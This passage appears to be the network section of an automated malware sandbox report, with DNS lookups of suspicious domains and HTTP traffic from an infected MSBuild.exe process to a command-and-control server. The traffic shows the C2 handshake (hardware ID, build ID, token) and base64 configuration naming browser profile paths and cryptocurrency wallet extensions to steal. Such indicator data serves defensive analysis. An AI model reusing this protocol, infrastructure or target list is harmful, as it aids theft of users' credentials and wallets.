Oct 6, 2024 22:33:24.723654032 CEST	192.168.2.4	1.1.1.1	0x5f4f	Standard query (0)	licendfilteo.site	A (IP address)	IN (0x0001)	false
Oct 6, 2024 22:33:24.735780954 CEST	192.168.2.4	1.1.1.1	0xcab5	Standard query (0)	clearancek.site	A (IP address)	IN (0x0001)	false
Oct 6, 2024 22:33:24.745390892 CEST	192.168.2.4	1.1.1.1	0x6bbe	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Oct 6, 2024 22:33:25.928538084 CEST	192.168.2.4	1.1.1.1	0x6c7b	Standard query (0)	cowod.hopto.org	A (IP address)	IN (0x0001)	false
Oct 6, 2024 22:33:26.054738998 CEST	192.168.2.4	1.1.1.1	0x1ac9	Standard query (0)	sergei-esenin.com	A (IP address)	IN (0x0001)	false
Oct 6, 2024 22:33:46.557357073 CEST	192.168.2.4	1.1.1.1	0x4a28	Standard query (0)	sergei-esenin.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 6, 2024 22:32:43.198672056 CEST	1.1.1.1	192.168.2.4	0x73dd	No error (0)	proxy.johnmccrea.com		141.98.233.156	A (IP address)	IN (0x0001)	false
Oct 6, 2024 22:33:05.146377087 CEST	1.1.1.1	192.168.2.4	0x36db	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 6, 2024 22:33:05.146377087 CEST	1.1.1.1	192.168.2.4	0x36db	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Oct 6, 2024 22:33:07.202368021 CEST	1.1.1.1	192.168.2.4	0x9a9b	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 6, 2024 22:33:07.202368021 CEST	1.1.1.1	192.168.2.4	0x9a9b	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Oct 6, 2024 22:33:23.122966051 CEST	1.1.1.1	192.168.2.4	0xc33f	No error (0)	jask.powerforxes.shop		147.45.44.104	A (IP address)	IN (0x0001)	false
Oct 6, 2024 22:33:24.663593054 CEST	1.1.1.1	192.168.2.4	0x931a	Name error (3)	spirittunek.store	none	none	A (IP address)	IN (0x0001)	false
Oct 6, 2024 22:33:24.676049948 CEST	1.1.1.1	192.168.2.4	0xa58a	Name error (3)	mobbipenju.store	none	none	A (IP address)	IN (0x0001)	false
Oct 6, 2024 22:33:24.685584068 CEST	1.1.1.1	192.168.2.4	0xe745	Name error (3)	eaglepawnoy.store	none	none	A (IP address)	IN (0x0001)	false
Oct 6, 2024 22:33:24.697139025 CEST	1.1.1.1	192.168.2.4	0xb889	Name error (3)	dissapoiznw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 6, 2024 22:33:24.708699942 CEST	1.1.1.1	192.168.2.4	0x1493	Name error (3)	studennotediw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 6, 2024 22:33:24.719753027 CEST	1.1.1.1	192.168.2.4	0x58c6	Name error (3)	bathdoomgaz.store	none	none	A (IP address)	IN (0x0001)	false
Oct 6, 2024 22:33:24.733750105 CEST	1.1.1.1	192.168.2.4	0x5f4f	Name error (3)	licendfilteo.site	none	none	A (IP address)	IN (0x0001)	false
Oct 6, 2024 22:33:24.743324041 CEST	1.1.1.1	192.168.2.4	0xcab5	Name error (3)	clearancek.site	none	none	A (IP address)	IN (0x0001)	false
Oct 6, 2024 22:33:24.753288031 CEST	1.1.1.1	192.168.2.4	0x6bbe	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Oct 6, 2024 22:33:25.936691046 CEST	1.1.1.1	192.168.2.4	0x6c7b	No error (0)	cowod.hopto.org		45.132.206.251	A (IP address)	IN (0x0001)	false
Oct 6, 2024 22:33:26.064493895 CEST	1.1.1.1	192.168.2.4	0x1ac9	No error (0)	sergei-esenin.com		172.67.206.204	A (IP address)	IN (0x0001)	false
Oct 6, 2024 22:33:26.064493895 CEST	1.1.1.1	192.168.2.4	0x1ac9	No error (0)	sergei-esenin.com		104.21.53.8	A (IP address)	IN (0x0001)	false
Oct 6, 2024 22:33:46.566385031 CEST	1.1.1.1	192.168.2.4	0x4a28	No error (0)	sergei-esenin.com		172.67.206.204	A (IP address)	IN (0x0001)	false
Oct 6, 2024 22:33:46.566385031 CEST	1.1.1.1	192.168.2.4	0x4a28	No error (0)	sergei-esenin.com		104.21.53.8	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

steamcommunity.com

sergei-esenin.com

proxy.johnmccrea.com

jask.powerforxes.shop

cowod.hopto.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49741	141.98.233.156	80	7304	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Oct 6, 2024 22:32:58.252721071 CEST	95	OUT	GET / HTTP/1.1 Host: proxy.johnmccrea.com Connection: Keep-Alive Cache-Control: no-cache
Oct 6, 2024 22:33:01.259427071 CEST	95	OUT	GET / HTTP/1.1 Host: proxy.johnmccrea.com Connection: Keep-Alive Cache-Control: no-cache
Oct 6, 2024 22:33:04.259462118 CEST	95	OUT	GET / HTTP/1.1 Host: proxy.johnmccrea.com Connection: Keep-Alive Cache-Control: no-cache
Oct 6, 2024 22:33:05.182552099 CEST	168	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 06 Oct 2024 20:33:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Oct 6, 2024 22:33:05.189793110 CEST	442	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDBFBFCBFBKECAAKJKFB Host: proxy.johnmccrea.com Content-Length: 255 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 44 42 46 42 46 43 42 46 42 4b 45 43 41 41 4b 4a 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 30 30 42 41 38 35 46 34 33 43 34 32 35 33 38 31 37 36 37 36 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 46 42 46 43 42 46 42 4b 45 43 41 41 4b 4a 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 36 36 61 63 37 62 64 65 61 66 37 36 33 62 62 61 66 37 30 61 61 36 64 35 36 36 37 63 38 30 34 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 46 42 46 43 42 46 42 4b 45 43 41 41 4b 4a 4b 46 42 2d 2d 0d 0a Data Ascii: ------GDBFBFCBFBKECAAKJKFBContent-Disposition: form-data; name="hwid"200BA85F43C4253817676-a33c7340-61ca------GDBFBFCBFBKECAAKJKFBContent-Disposition: form-data; name="build_id"566ac7bdeaf763bbaf70aa6d5667c804------GDBFBFCBFBKECAAKJKFB--
Oct 6, 2024 22:33:05.741276979 CEST	232	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 06 Oct 2024 20:33:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 33 61 0d 0a 31 7c 31 7c 31 7c 31 7c 33 61 39 62 62 31 34 31 30 39 37 36 62 63 30 64 38 31 36 31 64 32 62 63 36 63 38 39 64 66 33 63 7c 31 7c 31 7c 31 7c 30 7c 30 7c 35 30 30 30 30 7c 31 0d 0a 30 0d 0a 0d 0a Data Ascii: 3a1\|1\|1\|1\|3a9bb1410976bc0d8161d2bc6c89df3c\|1\|1\|1\|0\|0\|50000\|10
Oct 6, 2024 22:33:05.742873907 CEST	518	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDHIEBFHCAKEHIDGHCBA Host: proxy.johnmccrea.com Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 48 49 45 42 46 48 43 41 4b 45 48 49 44 47 48 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 61 39 62 62 31 34 31 30 39 37 36 62 63 30 64 38 31 36 31 64 32 62 63 36 63 38 39 64 66 33 63 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 48 49 45 42 46 48 43 41 4b 45 48 49 44 47 48 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 36 36 61 63 37 62 64 65 61 66 37 36 33 62 62 61 66 37 30 61 61 36 64 35 36 36 37 63 38 30 34 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 48 49 45 42 46 48 43 41 4b 45 48 49 44 47 48 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 48 49 45 42 46 48 43 41 4b 45 48 49 44 47 48 43 42 41 2d 2d 0d 0a Data Ascii: ------JDHIEBFHCAKEHIDGHCBAContent-Disposition: form-data; name="token"3a9bb1410976bc0d8161d2bc6c89df3c------JDHIEBFHCAKEHIDGHCBAContent-Disposition: form-data; name="build_id"566ac7bdeaf763bbaf70aa6d5667c804------JDHIEBFHCAKEHIDGHCBAContent-Disposition: form-data; name="mode"1------JDHIEBFHCAKEHIDGHCBA--
Oct 6, 2024 22:33:06.305236101 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 06 Oct 2024 20:33:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 31 30 0d 0a 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 4e 6f 63 6d 39 74 61 58 56 74 66 46 78 44 61 48 4a 76 62 57 6c 31 62 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 46 52 76 63 6d 4e 6f 66 46 78 55 62 33 4a 6a 61 46 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 46 5a 70 64 6d 46 73 5a 47 6c 38 58 46 5a 70 64 6d 46 73 5a 47 6c 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 44 62 32 31 76 5a 47 38 67 52 48 4a 68 5a 32 39 75 66 46 78 44 62 [TRUNCATED] Data Ascii: 610R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfENocm9taXVtfFxDaHJvbWl1bVxVc2VyIERhdGF8Y2hyb21lfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfFRvcmNofFxUb3JjaFxVc2VyIERhdGF8Y2hyb21lfFZpdmFsZGl8XFZpdmFsZGlcVXNlciBEYXRhfGNocm9tZXxDb21vZG8gRHJhZ29ufFxDb21vZG9cRHJhZ29uXFVzZXIgRGF0YXxjaHJvbWV8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfENvY0NvY3xcQ29jQ29jXEJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxCcmF2ZXxcQnJhdmVTb2Z0d2FyZVxCcmF2ZS1Ccm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8Q2VudCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXxNaWNyb3NvZnQgRWRnZXxcTWljcm9zb2Z0XEVkZ2VcVXNlciBEYXRhfGNocm9tZXxNaWNyb3NvZnQgRWRnZSBDYW5hcnl8XE1pY3Jvc29mdFxFZGdlIFN4U1xVc2VyIERhdGF8Y2hyb21lfE1pY3Jvc29mdCBFZGdlIEJldGF8XE1pY3Jvc29mdFxFZGdlIEJldGFcVXNlciBEYXRhfGNocm9tZXxNaWNyb3NvZnQgRWRnZSBEZXZ8XE1pY3Jvc29mdFxFZGdlIERldlxVc2V [TRUNCATED]
Oct 6, 2024 22:33:06.305288076 CEST	486	IN	Data Raw: 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 52 55 55 4a 79 62 33 64 7a 5a 58 4a 38 58 46 52 6c 62 6d 4e 6c 62 6e 52 63 55 56 46 43 63 6d 39 33 63 32 56 79 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 Data Ascii: VXNlciBEYXRhfGNocm9tZXxRUUJyb3dzZXJ8XFRlbmNlbnRcUVFCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8Q3J5cHRvVGFiIEJyb3dzZXJ8XENyeXB0b1RhYiBCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8T3BlcmF8XE9wZXJhIFNvZnR3YXJlfG9wZXJhfE9wZXJhIEdYfFxPcGVyYSBTb2Z0d2FyZXxvcGVyYXxPcGVyYSB
Oct 6, 2024 22:33:06.391124964 CEST	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Oct 6, 2024 22:33:06.392976999 CEST	518	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIEHJKJJJECFHJJJKKEC Host: proxy.johnmccrea.com Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 49 45 48 4a 4b 4a 4a 4a 45 43 46 48 4a 4a 4a 4b 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 61 39 62 62 31 34 31 30 39 37 36 62 63 30 64 38 31 36 31 64 32 62 63 36 63 38 39 64 66 33 63 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 48 4a 4b 4a 4a 4a 45 43 46 48 4a 4a 4a 4b 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 36 36 61 63 37 62 64 65 61 66 37 36 33 62 62 61 66 37 30 61 61 36 64 35 36 36 37 63 38 30 34 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 48 4a 4b 4a 4a 4a 45 43 46 48 4a 4a 4a 4b 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 32 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 48 4a 4b 4a 4a 4a 45 43 46 48 4a 4a 4a 4b 4b 45 43 2d 2d 0d 0a Data Ascii: ------IIEHJKJJJECFHJJJKKECContent-Disposition: form-data; name="token"3a9bb1410976bc0d8161d2bc6c89df3c------IIEHJKJJJECFHJJJKKECContent-Disposition: form-data; name="build_id"566ac7bdeaf763bbaf70aa6d5667c804------IIEHJKJJJECFHJJJKKECContent-Disposition: form-data; name="mode"2------IIEHJKJJJECFHJJJKKEC--
Oct 6, 2024 22:33:06.941812992 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 06 Oct 2024 20:33:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 36 32 38 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 75 61 32 4a 70 61 47 5a 69 5a 57 39 6e 59 57 56 68 62 32 56 6f 62 47 56 6d 62 6d 74 76 5a 47 4a 6c 5a 6d 64 77 5a 32 74 75 62 6e 77 78 66 44 42 38 4d 48 78 4e 5a 58 52 68 54 57 46 7a 61 33 77 78 66 47 52 71 59 32 78 6a 61 32 74 6e 62 47 56 6a 61 47 39 76 59 6d 78 75 5a 32 64 6f 5a 47 6c 75 62 57 56 6c 62 57 74 69 5a 32 4e 70 66 44 46 38 4d 48 77 77 66 45 31 6c 64 47 46 4e 59 58 4e 72 66 44 46 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 4d 58 78 70 59 6d 35 6c 61 6d 52 6d 61 6d 31 74 61 33 42 6a 62 6d 78 77 5a 57 4a 72 62 47 31 75 61 32 39 6c 62 32 6c 6f 62 32 5a 6c 59 33 77 78 66 44 42 38 4d 48 78 43 61 57 35 68 62 6d 4e 6c 51 32 68 68 61 57 35 58 59 57 78 73 5a 58 52 38 4d 58 78 6d 61 47 4a 76 61 47 6c 74 59 57 56 73 59 6d 39 6f 63 47 70 69 59 6d 78 6b 59 32 35 6e 59 32 35 68 63 47 35 6b [TRUNCATED] Data Ascii: 1628TWV0YU1hc2t8MXxua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnwxfDB8MHxNZXRhTWFza3wxfGRqY2xja2tnbGVjaG9vYmxuZ2doZGlubWVlbWtiZ2NpfDF8MHwwfE1ldGFNYXNrfDF8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8VHJvbkxpbmt8MXxpYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb2lob2ZlY3wxfDB8MHxCaW5hbmNlQ2hhaW5XYWxsZXR8MXxmaGJvaGltYWVsYm9ocGpiYmxkY25nY25hcG5kb2RqcHwxfDF8MHxZb3JvaXwxfGZmbmJlbGZkb2Vpb2hlbmtqaWJubWFkamllaGpoYWpifDF8MHwwfENvaW5iYXNlfDF8aG5mYW5rbm9jZmVvZmJkZGdjaWpubWhuZm5rZG5hYWR8MXwwfDF8R3VhcmRhfDF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDF8aVdhbGxldHwxfGtuY2NoZGlnb2JnaGVuYmJhZGRvampubmFvZ2ZwcGZqfDF8MHwwfFJvbmluV2FsbGV0fDF8Zm5qaG1raGhta2Jqa2thYm5kY25ub2dhZ29nYm5lZWN8MXwwfDB8TmVvTGluZXwxfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENsb3ZlcldhbGxldHwxfG5obmtia2dqaWtnY2lnYWRvbWtwaGFsYW5uZGNhcGprfDF8MHwwfExpcXVhbGl0eVdhbGxldHwxfGtwZm9wa2VsbWFwY29pcGVtZmVuZG1kY2dobmVnaW1ufDF8MHwwfFRlcnJhX1N0YXRpb258MXxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnwxfGRta2FtY2tub2drZ2NkZmhoYmRkY2doYW [TRUNCATED]
Oct 6, 2024 22:33:06.941864967 CEST	1236	IN	Data Raw: 6b 63 47 52 74 61 32 46 68 61 32 56 71 62 6d 68 68 5a 58 77 78 66 44 42 38 4d 48 78 51 62 32 78 35 62 57 56 7a 61 46 64 68 62 47 78 6c 64 48 77 78 66 47 70 76 61 6d 68 6d 5a 57 39 6c 5a 47 74 77 61 32 64 73 59 6d 5a 70 62 57 52 6d 59 57 4a 77 5a Data Ascii: kcGRta2Fha2VqbmhhZXwxfDB8MHxQb2x5bWVzaFdhbGxldHwxfGpvamhmZW9lZGtwa2dsYmZpbWRmYWJwZGZqYW9vbGFmfDF8MHwwfElDT05leHwxfGZscGljaWlsZW1naGJtZmFsaWNham9vbGhra2VuZmVsfDF8MHwwfENvaW45OHwxfGFlYWNoa25tZWZwaGVwY2Npb25ib29oY2tvbm9lZW1nfDF8MHwwfEVWRVIgV2FsbG
Oct 6, 2024 22:33:06.941881895 CEST	1236	IN	Data Raw: 76 59 57 52 6b 61 57 35 77 61 32 4a 68 61 58 77 78 66 44 46 38 4d 48 78 48 51 58 56 30 61 43 42 42 64 58 52 6f 5a 57 35 30 61 57 4e 68 64 47 39 79 66 44 42 38 61 57 78 6e 59 32 35 6f 5a 57 78 77 59 32 68 75 59 32 56 6c 61 58 42 70 63 47 6c 71 59 Data Ascii: vYWRkaW5wa2JhaXwxfDF8MHxHQXV0aCBBdXRoZW50aWNhdG9yfDB8aWxnY25oZWxwY2huY2VlaXBpcGlqYWxqa2JsYmNvYmx8MXwxfDF8VHJvbml1bXwxfHBubmRwbGNia2FrY3Bsa2pub2xnYmtkZ2ppa2plZG5tfDF8MHwwfFRydXN0IFdhbGxldHwxfGVnamlkamJwZ2xpY2hkY29uZGJjYmRuYmVlcHBnZHBofDF8MHwwfE
Oct 6, 2024 22:33:06.942107916 CEST	1236	IN	Data Raw: 70 63 32 55 67 4c 53 42 42 63 48 52 76 63 79 42 58 59 57 78 73 5a 58 52 38 4d 58 78 6f 59 6d 4a 6e 59 6d 56 77 61 47 64 76 61 6d 6c 72 59 57 70 6f 5a 6d 4a 76 62 57 68 73 62 57 31 76 62 47 78 77 61 47 4e 68 5a 48 77 78 66 44 42 38 4d 48 78 53 59 Data Ascii: pc2UgLSBBcHRvcyBXYWxsZXR8MXxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWluYm93IFdhbGxldHwxfG9wZmdlbG1jbWJpYWphbWVwbm1sb2lqYnBvbGVpYW1hfDF8MHwwfE5pZ2h0bHl8MXxmaWlrb21tZGRiZWNjYW9pY29lam9uaWFtbW5hbGtmYXwxfDB8MHxFY3RvIFdhbGxldHwxfGJnam
Oct 6, 2024 22:33:06.942123890 CEST	899	IN	Data Raw: 58 59 57 78 73 5a 58 52 38 4d 58 78 76 59 32 70 6b 63 47 31 76 59 57 78 73 62 57 64 74 61 6d 4a 69 62 32 64 6d 61 57 6c 68 62 32 5a 77 61 47 4a 71 5a 32 4e 6f 61 48 77 78 66 44 42 38 4d 48 78 57 5a 57 35 76 62 53 42 58 59 57 78 73 5a 58 52 38 4d Data Ascii: XYWxsZXR8MXxvY2pkcG1vYWxsbWdtamJib2dmaWlhb2ZwaGJqZ2NoaHwxfDB8MHxWZW5vbSBXYWxsZXR8MXxvamdnbWNobGdobmpsYXBtZmJuamhvbGZqa2lpZGJjaHwxfDB8MHxQdWxzZSBXYWxsZXQgQ2hyb21pdW18MXxjaW9qb2Nwa2NsZmZsb21iYmNmaWdjaWpqY2JrbWhhZnwxfDB8MHxNYWdpYyBFZGVuIFdhbGxldH
Oct 6, 2024 22:33:07.027868032 CEST	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Oct 6, 2024 22:33:07.029572010 CEST	519	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGDAAKJJDAAKFHJKJKFC Host: proxy.johnmccrea.com Content-Length: 332 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 61 39 62 62 31 34 31 30 39 37 36 62 63 30 64 38 31 36 31 64 32 62 63 36 63 38 39 64 66 33 63 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 36 36 61 63 37 62 64 65 61 66 37 36 33 62 62 61 66 37 30 61 61 36 64 35 36 36 37 63 38 30 34 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 32 31 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 43 2d 2d 0d 0a Data Ascii: ------BGDAAKJJDAAKFHJKJKFCContent-Disposition: form-data; name="token"3a9bb1410976bc0d8161d2bc6c89df3c------BGDAAKJJDAAKFHJKJKFCContent-Disposition: form-data; name="build_id"566ac7bdeaf763bbaf70aa6d5667c804------BGDAAKJJDAAKFHJKJKFCContent-Disposition: form-data; name="mode"21------BGDAAKJJDAAKFHJKJKFC--
Oct 6, 2024 22:33:07.602022886 CEST	282	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 06 Oct 2024 20:33:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 63 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 46 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 0d 0a 30 0d 0a 0d 0a Data Ascii: 6cTWV0YU1hc2t8MXx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDF8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb2180
Oct 6, 2024 22:33:07.708870888 CEST	188	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFHCAEGCBFHJDGCBFHDA Host: proxy.johnmccrea.com Content-Length: 6953 Connection: Keep-Alive Cache-Control: no-cache
Oct 6, 2024 22:33:07.708914995 CEST	1236	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 61 39 62 62 31 Data Ascii: ------KFHCAEGCBFHJDGCBFHDAContent-Disposition: form-data; name="token"3a9bb1410976bc0d8161d2bc6c89df3c------KFHCAEGCBFHJDGCBFHDAContent-Disposition: form-data; name="build_id"566ac7bdeaf763bbaf70aa6d5667c804------KFHCAEGCBFHJDG
